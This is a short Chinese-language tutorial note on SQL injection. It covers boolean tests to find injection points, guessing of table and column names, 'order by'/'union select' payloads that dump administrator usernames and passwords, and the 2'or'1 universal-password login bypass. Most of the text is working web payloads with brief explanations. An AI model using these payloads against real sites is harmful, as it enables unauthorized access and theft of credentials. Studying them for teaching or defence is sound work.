SQL注入
- 在url结尾的链接依次添加语句' , and1=1,and1=2来判断网站是否存在注入点。
- 然后添加语句
and exists(select * from admin)
根据页面返回结果来猜解表名
- 添加语句
and exists(select admin from admin)
来猜解admin表中的列名admin
- 添加语句
and (select top 1 len(admin) from admin)>1
来猜解字段长度
通过以上四个步骤,反复猜解,即可得到数据库存储的用户名和密码
联合查询注入技术
- 在链接后面添加语句
order by 11(任意数字)
根据页面返回结果,来判断站点中的字段数目
- 在链接后面添加语句
union select 1,2,3,4,5,6,7,8,9,10,11 from admin(表名)
进行联合查询,来暴露可查询的字段编号
- 由上步的字段编号,添加语句
union select 1 ,admin,password,4,5,6,7,8,9,10,11 from admin
直接暴露管理员用户名和密码
SQL注入-万能密码注入
用户进行用户名和密码验证时,网站需要查询数据库。查询数据库就要执行SQL语句。当用户登录某网站时,后台执行的数据库查询操作(SQL 语句)是:
select user_id,user_type,email from users where user_id = '用户名' and password = '密码'
因为网站后台在进行数据库查询的时候没有对单引号进行过滤,当输入用户名admin和万能密码2'or'1时,执行的语句是:
select user_id,user_type,email from users where user_id = 'admin' and password = '2' or' 1'
同时,由于SQL语句中逻辑运算符具有优先级,=优先于and,and优先于or,且适用传递性。因此,此SQL语句在后台解析时,分为两句
select user_id,user_type,email from users where user_id = 'admin' and password = '2' 和' 1'
两句bool值进行逻辑or运算,恒为TRUE。SQL语句的查询结果为TRUE,就意味着认证成功,也可以登录到系统中。